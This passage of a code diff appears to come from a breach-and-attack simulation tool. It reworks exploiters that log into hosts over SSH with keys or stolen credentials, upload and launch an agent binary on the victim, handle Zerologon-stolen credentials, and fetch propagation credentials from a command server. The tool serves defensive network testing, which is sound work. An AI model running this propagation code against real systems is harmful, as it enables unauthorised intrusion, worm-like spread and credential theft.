self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
|
||||
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
|
||||
raise FailedExploitationError
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
port = self._get_ssh_port()
|
||||
port = SSH_PORT
|
||||
|
||||
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
port = int(servkey.replace("tcp-", ""))
|
||||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||
|
||||
logger.info(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ssh = self._exploit(port)
|
||||
except FailedExploitationError as err:
|
||||
self.exploit_result.error_message = str(err)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
self._propagate(ssh)
|
||||
except (FailedExploitationError, RuntimeError) as err:
|
||||
self.exploit_result.error_message = str(err)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
finally:
|
||||
ssh.close()
|
||||
return self.exploit_result
|
||||
|
||||
def _exploit(self, port: int) -> paramiko.SSHClient:
|
||||
try:
|
||||
ssh = self.exploit_with_ssh_keys(port)
|
||||
except FailedExploitationError:
|
||||
try:
|
||||
ssh = self.exploit_with_login_creds(port)
|
||||
except FailedExploitationError:
|
||||
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
|
||||
|
||||
return ssh
|
||||
|
||||
def _propagate(self, ssh: paramiko.SSHClient):
|
||||
agent_binary_file_object = self._get_agent_binary(ssh)
|
||||
if agent_binary_file_object is None:
|
||||
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
|
||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
raise RuntimeError("Propagation was interrupted")
|
||||
return self.exploit_result
|
||||
|
||||
if not self.host.os.get("type"):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.exploit_result.os = OperatingSystem.LINUX
|
||||
self.host.os["type"] = OperatingSystem.LINUX
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running uname os command on victim {self.host}: ({exc})"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||
self.exploit_result.os
|
||||
)
|
||||
|
||||
if not agent_binary_file_object:
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
|
||||
|
||||
try:
|
||||
with ssh.open_sftp() as ftp:
|
||||
ftp.putfo(
|
||||
agent_binary_file_object,
|
||||
str(monkey_path_on_victim),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
|
@ -244,15 +242,13 @@ class SSHExploiter(HostExploiter):
|
|||
monkey_path_on_victim,
|
||||
)
|
||||
)
|
||||
|
||||
if status == ScanStatus.SCANNED:
|
||||
raise FailedExploitationError(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
||||
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||
cmdline += " > /dev/null 2>&1 &"
|
||||
timestamp = time()
|
||||
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
|
||||
|
||||
logger.info(
|
||||
|
@ -263,87 +259,18 @@ class SSHExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
self.exploit_result.propagation_success = True
|
||||
self._publish_propagation_event(timestamp, True)
|
||||
|
||||
ssh.close()
|
||||
self.add_executed_cmd(cmdline)
|
||||
return self.exploit_result
|
||||
|
||||
except Exception as exc:
|
||||
error_message = f"Error running monkey on victim {self.host}: ({exc})"
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
raise FailedExploitationError(error_message)
|
||||
|
||||
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
|
||||
is_open, _ = check_tcp_port(ip, port)
|
||||
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
|
||||
self.agent_event_queue.publish(
|
||||
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
|
||||
)
|
||||
|
||||
return is_open
|
||||
|
||||
def _get_ssh_port(self) -> int:
|
||||
port = SSH_PORT
|
||||
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
port = int(servkey.replace("tcp-", ""))
|
||||
|
||||
return port
|
||||
|
||||
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.exploit_result.os = OperatingSystem.LINUX
|
||||
self.host.os["type"] = OperatingSystem.LINUX
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return False
|
||||
except Exception as exc:
|
||||
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
|
||||
return False
|
||||
return True
|
||||
|
||||
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
|
||||
if not self.host.os.get("type") and not self._get_victim_os(ssh):
|
||||
return None
|
||||
|
||||
try:
|
||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||
self.exploit_result.os
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running monkey on victim {self.host}: ({exc})"
|
||||
)
|
||||
except RetrievalError:
|
||||
return None
|
||||
|
||||
return agent_binary_file_object
|
||||
|
||||
def _upload_agent_binary(
|
||||
self,
|
||||
ssh: paramiko.SSHClient,
|
||||
agent_binary_file_object: io.BytesIO,
|
||||
monkey_path_on_victim: PurePath,
|
||||
) -> ScanStatus:
|
||||
try:
|
||||
timestamp = time()
|
||||
with ssh.open_sftp() as ftp:
|
||||
ftp.putfo(
|
||||
agent_binary_file_object,
|
||||
str(monkey_path_on_victim),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||
|
||||
return ScanStatus.USED
|
||||
except Exception as exc:
|
||||
error_message = f"Error uploading file into victim {self.host}: ({exc})"
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
self.exploit_result.error_message = error_message
|
||||
return ScanStatus.SCANNED
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
def _set_executable_bit_on_agent_binary(
|
||||
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
||||
|
|
|
@ -3,7 +3,6 @@ import urllib.error
|
|||
import urllib.parse
|
||||
import urllib.request
|
||||
from threading import Lock
|
||||
from typing import Optional, Tuple
|
||||
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
|
@ -29,7 +28,7 @@ class HTTPTools(object):
|
|||
@staticmethod
|
||||
def create_locked_transfer(
|
||||
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
|
||||
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
|
||||
) -> LockedHTTPServer:
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
|
|
|
@ -18,7 +18,6 @@ from impacket.dcerpc.v5.dtypes import NULL
|
|||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.credentials import Credentials, LMHash, NTHash, Username
|
||||
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||
|
@ -33,6 +32,9 @@ from infection_monkey.utils.threading import interruptible_iter
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
|
||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
|
||||
|
||||
|
||||
ZEROLOGON_EVENT_TAGS = frozenset(
|
||||
{
|
||||
|
@ -313,7 +315,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
tags=ZEROLOGON_EVENT_TAGS,
|
||||
stolen_credentials=extracted_credentials,
|
||||
)
|
||||
self.agent_event_queue.publish(credentials_stolen_event)
|
||||
self.event_queue.publish(credentials_stolen_event)
|
||||
|
||||
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
|
||||
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||
|
@ -381,7 +383,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return True
|
||||
|
||||
except Exception as e:
|
||||
logger.info(f"Exception occurred: {str(e)}")
|
||||
logger.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
|
|
|
@ -1,11 +1,23 @@
|
|||
import abc
|
||||
from typing import Sequence
|
||||
from typing import Optional, Sequence
|
||||
from uuid import UUID
|
||||
|
||||
from common.agent_configuration import AgentConfiguration
|
||||
from common.credentials import Credentials
|
||||
|
||||
|
||||
class IControlChannel(metaclass=abc.ABCMeta):
|
||||
@abc.abstractmethod
|
||||
def register_agent(self, parent_id: Optional[UUID] = None):
|
||||
"""
|
||||
Registers this agent with the Island when this agent starts
|
||||
|
||||
:param parent: The ID of the parent that spawned this agent, or None if this agent has no
|
||||
parent
|
||||
:raises IslandCommunicationError: If the agent cannot be successfully registered
|
||||
"""
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
||||
def should_agent_stop(self) -> bool:
|
||||
"""
|
||||
|
|
|
@ -2,8 +2,10 @@ from .plugin_type import PluginType
|
|||
from .i_puppet import (
|
||||
IPuppet,
|
||||
ExploiterResultData,
|
||||
PingScanData,
|
||||
PortScanData,
|
||||
FingerprintData,
|
||||
PortStatus,
|
||||
PostBreachData,
|
||||
UnknownPluginError,
|
||||
)
|
||||
|
|
|
@ -1,9 +1,7 @@
|
|||
from abc import abstractmethod
|
||||
from typing import Dict
|
||||
|
||||
from common.types import PingScanData
|
||||
|
||||
from . import FingerprintData, PortScanData
|
||||
from . import FingerprintData, PingScanData, PortScanData
|
||||
|
||||
|
||||
class IFingerprinter:
|
||||
|
|
|
@ -1,16 +1,21 @@
|
|||
import abc
|
||||
import threading
|
||||
from collections import namedtuple
|
||||
from dataclasses import dataclass
|
||||
from typing import Dict, Iterable, Mapping, Optional, Sequence
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import Dict, Iterable, List, Mapping, Optional, Sequence, Tuple
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.credentials import Credentials
|
||||
from common.types import PingScanData
|
||||
from infection_monkey.model import VictimHost
|
||||
|
||||
from . import PluginType
|
||||
|
||||
|
||||
class PortStatus(Enum):
|
||||
OPEN = 1
|
||||
CLOSED = 2
|
||||
|
||||
|
||||
class UnknownPluginError(Exception):
|
||||
pass
|
||||
|
||||
|
@ -21,14 +26,37 @@ class ExploiterResultData:
|
|||
propagation_success: bool = False
|
||||
interrupted: bool = False
|
||||
os: str = ""
|
||||
info: Optional[Mapping] = None
|
||||
attempts: Optional[Iterable] = None
|
||||
info: Mapping = field(default_factory=lambda: {})
|
||||
attempts: Iterable = field(default_factory=lambda: [])
|
||||
error_message: str = ""
|
||||
|
||||
|
||||
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
|
||||
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
|
||||
PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"])
|
||||
@dataclass(frozen=True)
|
||||
class FingerprintData:
|
||||
os_type: Optional[OperatingSystem]
|
||||
os_version: str
|
||||
services: Mapping = field(default_factory=lambda: {})
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class PingScanData:
|
||||
response_received: bool
|
||||
os: Optional[OperatingSystem]
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class PortScanData:
|
||||
port: int
|
||||
status: PortStatus
|
||||
banner: str
|
||||
service: str
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class PostBreachData:
|
||||
display_name: str
|
||||
command: str
|
||||
result: Tuple[str, bool]
|
||||
|
||||
|
||||
class IPuppet(metaclass=abc.ABCMeta):
|
||||
|
@ -77,8 +105,8 @@ class IPuppet(metaclass=abc.ABCMeta):
|
|||
|
||||
@abc.abstractmethod
|
||||
def scan_tcp_ports(
|
||||
self, host: str, ports: Sequence[int], timeout: float = 3
|
||||
) -> Dict[int, PortScanData]:
|
||||
self, host: str, ports: List[int], timeout: float = 3
|
||||
) -> Mapping[int, PortScanData]:
|
||||
"""
|
||||
Scans a list of TCP ports on a remote host
|
||||
|
||||
|
@ -86,7 +114,7 @@ class IPuppet(metaclass=abc.ABCMeta):
|
|||
:param int ports: List of TCP port numbers to scan
|
||||
:param float timeout: The maximum amount of time (in seconds) to wait for a response
|
||||
:return: The data collected by scanning the provided host:ports combination
|
||||
:rtype: Dict[int, PortScanData]
|
||||
:rtype: Mapping[int, PortScanData]
|
||||
"""
|
||||
|
||||
@abc.abstractmethod
|
||||
|
@ -129,7 +157,6 @@ class IPuppet(metaclass=abc.ABCMeta):
|
|||
:param str name: The name of the exploiter to run
|
||||
:param VictimHost host: A VictimHost object representing the target to exploit
|
||||
:param int current_depth: The current propagation depth
|
||||
:param servers: List of socket addresses for victim to connect back to
|
||||
:param Dict options: A dictionary containing options that modify the behavior of the
|
||||
exploiter
|
||||
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
|
||||
|
|
|
@ -1,22 +1,13 @@
|
|||
import functools
|
||||
import json
|
||||
import logging
|
||||
from pprint import pformat
|
||||
from typing import List, Sequence
|
||||
|
||||
import requests
|
||||
|
||||
from common import AgentRegistrationData, AgentSignals, OperatingSystem
|
||||
from common.agent_configuration import AgentConfiguration
|
||||
from common.agent_event_serializers import AgentEventSerializerRegistry
|
||||
from common import OperatingSystem
|
||||
from common.agent_event_serializers import AgentEventSerializerRegistry, JSONSerializable
|
||||
from common.agent_events import AbstractAgentEvent
|
||||
from common.common_consts.timeouts import (
|
||||
LONG_REQUEST_TIMEOUT,
|
||||
MEDIUM_REQUEST_TIMEOUT,
|
||||
SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
from common.credentials import Credentials
|
||||
from common.types import AgentID, JSONSerializable, SocketAddress
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
from . import (
|
||||
AbstractIslandAPIClientFactory,
|
||||
|
@ -36,9 +27,7 @@ def handle_island_errors(fn):
|
|||
def decorated(*args, **kwargs):
|
||||
try:
|
||||
return fn(*args, **kwargs)
|
||||
except IslandAPIError as err:
|
||||
raise err
|
||||
except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as err:
|
||||
except requests.exceptions.ConnectionError as err:
|
||||
raise IslandAPIConnectionError(err)
|
||||
except requests.exceptions.HTTPError as err:
|
||||
if 400 <= err.response.status_code < 500:
|
||||
|
@ -49,23 +38,14 @@ def handle_island_errors(fn):
|
|||
raise IslandAPIError(err)
|
||||
except TimeoutError as err:
|
||||
raise IslandAPITimeoutError(err)
|
||||
except IslandAPIError as err:
|
||||
raise err
|
||||
except Exception as err:
|
||||
raise IslandAPIError(err)
|
||||
|
||||
return decorated
|
||||
|
||||
|
||||
def convert_json_error_to_island_api_error(fn):
|
||||
@functools.wraps(fn)
|
||||
def wrapper(*args, **kwargs):
|
||||
try:
|
||||
return fn(*args, **kwargs)
|
||||
except (requests.JSONDecodeError, json.JSONDecodeError) as err:
|
||||
raise IslandAPIRequestFailedError(err)
|
||||
|
||||
return wrapper
|
||||
|
||||
|
||||
class HTTPIslandAPIClient(IIslandAPIClient):
|
||||
"""
|
||||
A client for the Island's HTTP API
|
||||
|
@ -80,7 +60,7 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
|||
@handle_island_errors
|
||||
def connect(
|
||||
self,
|
||||
island_server: SocketAddress,
|
||||
island_server: str,
|
||||
):
|
||||
response = requests.get( # noqa: DUO123
|
||||
f"https://{island_server}/api?action=is-up",
|
||||
|
@ -89,12 +69,13 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
|||
)
|
||||
response.raise_for_status()
|
||||
|
||||
self._api_url = f"https://{island_server}/api"
|
||||
self._island_server = island_server
|
||||
self._api_url = f"https://{self._island_server}/api"
|
||||
|
||||
@handle_island_errors
|
||||
def send_log(self, agent_id: AgentID, log_contents: str):
|
||||
response = requests.put( # noqa: DUO123
|
||||
f"{self._api_url}/agent-logs/{agent_id}",
|
||||
def send_log(self, log_contents: str):
|
||||
response = requests.post( # noqa: DUO123
|
||||
f"{self._api_url}/log",
|
||||
json=log_contents,
|
||||
verify=False,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
|
@ -135,45 +116,6 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
|||
|
||||
response.raise_for_status()
|
||||
|
||||
@handle_island_errors
|
||||
def register_agent(self, agent_registration_data: AgentRegistrationData):
|
||||
url = f"{self._api_url}/agents"
|
||||
response = requests.post( # noqa: DUO123
|
||||
url,
|
||||
json=agent_registration_data.dict(simplify=True),
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
@handle_island_errors
|
||||
@convert_json_error_to_island_api_error
|
||||
def get_config(self) -> AgentConfiguration:
|
||||
response = requests.get( # noqa: DUO123
|
||||
f"{self._api_url}/agent-configuration",
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
config_dict = response.json()
|
||||
|
||||
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
|
||||
|
||||
return AgentConfiguration(**config_dict)
|
||||
|
||||
@handle_island_errors
|
||||
@convert_json_error_to_island_api_error
|
||||
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
||||
response = requests.get( # noqa: DUO123
|
||||
f"{self._api_url}/propagation-credentials",
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
return [Credentials(**credentials) for credentials in response.json()]
|
||||
|
||||
def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable:
|
||||
serialized_events: List[JSONSerializable] = []
|
||||
|
||||
|
@ -186,18 +128,6 @@ class HTTPIslandAPIClient(IIslandAPIClient):
|
|||
|
||||
return serialized_events
|
||||
|
||||
@handle_island_errors
|
||||
@convert_json_error_to_island_api_error
|
||||
def get_agent_signals(self, agent_id: str) -> AgentSignals:
|
||||
url = f"{self._api_url}/agent-signals/{agent_id}"
|
||||
response = requests.get( # noqa: DUO123
|
||||
url,
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
return AgentSignals(**response.json())
|
||||
|
||||
|
||||
class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory):
|
||||
def __init__(
|
||||
|
|
|
@ -1,11 +1,8 @@
|
|||
from abc import ABC, abstractmethod
|
||||
from typing import Sequence
|
||||
|
||||
from common import AgentRegistrationData, AgentSignals, OperatingSystem
|
||||
from common.agent_configuration import AgentConfiguration
|
||||
from common import OperatingSystem
|
||||
from common.agent_events import AbstractAgentEvent
|
||||
from common.credentials import Credentials
|
||||
from common.types import AgentID, SocketAddress
|
||||
|
||||
|
||||
class IIslandAPIClient(ABC):
|
||||
|
@ -14,9 +11,9 @@ class IIslandAPIClient(ABC):
|
|||
"""
|
||||
|
||||
@abstractmethod
|
||||
def connect(self, island_server: SocketAddress):
|
||||
def connect(self, island_server: str):
|
||||
"""
|
||||
Connect to the island's API
|
||||
Connectto the island's API
|
||||
|
||||
:param island_server: The socket address of the API
|
||||
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
|
||||
|
@ -30,11 +27,10 @@ class IIslandAPIClient(ABC):
|
|||
"""
|
||||
|
||||
@abstractmethod
|
||||
def send_log(self, agent_id: AgentID, log_contents: str):
|
||||
def send_log(self, log_contents: str):
|
||||
"""
|
||||
Send the contents of the agent's log to the island
|
||||
|
||||
:param agent_id: The ID of the agent whose logs are being sent
|
||||
:param log_contents: The contents of the agent's log
|
||||
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
|
||||
:raises IslandAPIRequestError: If an error occurs while attempting to connect to the
|
||||
|
@ -95,53 +91,3 @@ class IIslandAPIClient(ABC):
|
|||
:raises IslandAPIError: If an unexpected error occurs while attempting to send events to
|
||||
the island
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def register_agent(self, agent_registration_data: AgentRegistrationData):
|
||||
"""
|
||||
Register an agent with the Island
|
||||
|
||||
:param agent_registration_data: Information about the agent to register
|
||||
with the island
|
||||
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||
:raises IslandAPITimeoutError: If the command timed out
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def get_config(self) -> AgentConfiguration:
|
||||
"""
|
||||
Get agent configuration from the island
|
||||
|
||||
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||
:raises IslandAPITimeoutError: If the command timed out
|
||||
:return: Agent configuration
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
||||
"""
|
||||
Get credentials from the island
|
||||
|
||||
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||
:raises IslandAPITimeoutError: If the command timed out
|
||||
:return: Credentials
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def get_agent_signals(self, agent_id: str) -> AgentSignals:
|
||||
"""
|
||||
Gets an agent's signals from the island
|
||||
|
||||
:param agent_id: ID of the agent whose signals should be retrieved
|
||||
:raises IslandAPIConnectionError: If the client could not connect to the island
|
||||
:raises IslandAPIRequestError: If there was a problem with the client request
|
||||
:raises IslandAPIRequestFailedError: If the server experienced an error
|
||||
:raises IslandAPITimeoutError: If the command timed out
|
||||
:return: The relevant agent's signals
|
||||
"""
|
||||
|
|
|
@ -1,48 +1,127 @@
|
|||
import json
|
||||
import logging
|
||||
from functools import wraps
|
||||
from typing import Sequence
|
||||
from pprint import pformat
|
||||
from typing import Optional, Sequence
|
||||
from uuid import UUID
|
||||
|
||||
import requests
|
||||
from urllib3 import disable_warnings
|
||||
|
||||
from common import AgentRegistrationData
|
||||
from common.agent_configuration import AgentConfiguration
|
||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||
from common.credentials import Credentials
|
||||
from common.network.network_utils import get_network_interfaces
|
||||
from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError
|
||||
from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError
|
||||
from infection_monkey.utils import agent_process
|
||||
from infection_monkey.utils.ids import get_agent_id, get_machine_id
|
||||
|
||||
disable_warnings() # noqa: DUO131
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def handle_island_api_errors(func):
|
||||
@wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
try:
|
||||
return func(*args, **kwargs)
|
||||
except IslandAPIError as err:
|
||||
raise IslandCommunicationError(err)
|
||||
|
||||
return wrapper
|
||||
|
||||
|
||||
class ControlChannel(IControlChannel):
|
||||
def __init__(self, server: str, agent_id: str, api_client: IIslandAPIClient):
|
||||
def __init__(self, server: str, agent_id: str):
|
||||
self._agent_id = agent_id
|
||||
self._control_channel_server = server
|
||||
self._island_api_client = api_client
|
||||
|
||||
@handle_island_api_errors
|
||||
def register_agent(self, parent: Optional[UUID] = None):
|
||||
agent_registration_data = AgentRegistrationData(
|
||||
id=get_agent_id(),
|
||||
machine_hardware_id=get_machine_id(),
|
||||
start_time=agent_process.get_start_time(),
|
||||
# parent_id=parent,
|
||||
parent_id=None, # None for now, until we change GUID to UUID
|
||||
cc_server=self._control_channel_server,
|
||||
network_interfaces=get_network_interfaces(),
|
||||
)
|
||||
|
||||
try:
|
||||
url = f"https://{self._control_channel_server}/api/agents"
|
||||
response = requests.post( # noqa: DUO123
|
||||
url,
|
||||
json=agent_registration_data.dict(simplify=True),
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
except (
|
||||
requests.exceptions.ConnectionError,
|
||||
requests.exceptions.Timeout,
|
||||
requests.exceptions.TooManyRedirects,
|
||||
requests.exceptions.HTTPError,
|
||||
) as e:
|
||||
raise IslandCommunicationError(e)
|
||||
|
||||
def should_agent_stop(self) -> bool:
|
||||
if not self._control_channel_server:
|
||||
logger.error("Agent should stop because it can't connect to the C&C server.")
|
||||
return True
|
||||
agent_signals = self._island_api_client.get_agent_signals(self._agent_id)
|
||||
return agent_signals.terminate is not None
|
||||
try:
|
||||
url = (
|
||||
f"https://{self._control_channel_server}/api/monkey-control"
|
||||
f"/needs-to-stop/{self._agent_id}"
|
||||
)
|
||||
response = requests.get( # noqa: DUO123
|
||||
url,
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
json_response = json.loads(response.content.decode())
|
||||
return json_response["stop_agent"]
|
||||
except (
|
||||
json.JSONDecodeError,
|
||||
requests.exceptions.ConnectionError,
|
||||
requests.exceptions.Timeout,
|
||||
requests.exceptions.TooManyRedirects,
|
||||
requests.exceptions.HTTPError,
|
||||
) as e:
|
||||
raise IslandCommunicationError(e)
|
||||
|
||||
@handle_island_api_errors
|
||||
def get_config(self) -> AgentConfiguration:
|
||||
return self._island_api_client.get_config()
|
||||
try:
|
||||
response = requests.get( # noqa: DUO123
|
||||
f"https://{self._control_channel_server}/api/agent-configuration",
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
config_dict = json.loads(response.text)
|
||||
|
||||
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
|
||||
|
||||
return AgentConfiguration(**config_dict)
|
||||
except (
|
||||
json.JSONDecodeError,
|
||||
requests.exceptions.ConnectionError,
|
||||
requests.exceptions.Timeout,
|
||||
requests.exceptions.TooManyRedirects,
|
||||
requests.exceptions.HTTPError,
|
||||
) as e:
|
||||
raise IslandCommunicationError(e)
|
||||
|
||||
@handle_island_api_errors
|
||||
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
|
||||
return self._island_api_client.get_credentials_for_propagation()
|
||||
propagation_credentials_url = (
|
||||
f"https://{self._control_channel_server}/api/propagation-credentials"
|
||||
)
|
||||
try:
|
||||
response = requests.get( # noqa: DUO123
|
||||
propagation_credentials_url,
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
return [Credentials(**credentials) for credentials in response.json()]
|
||||
except (
|
||||
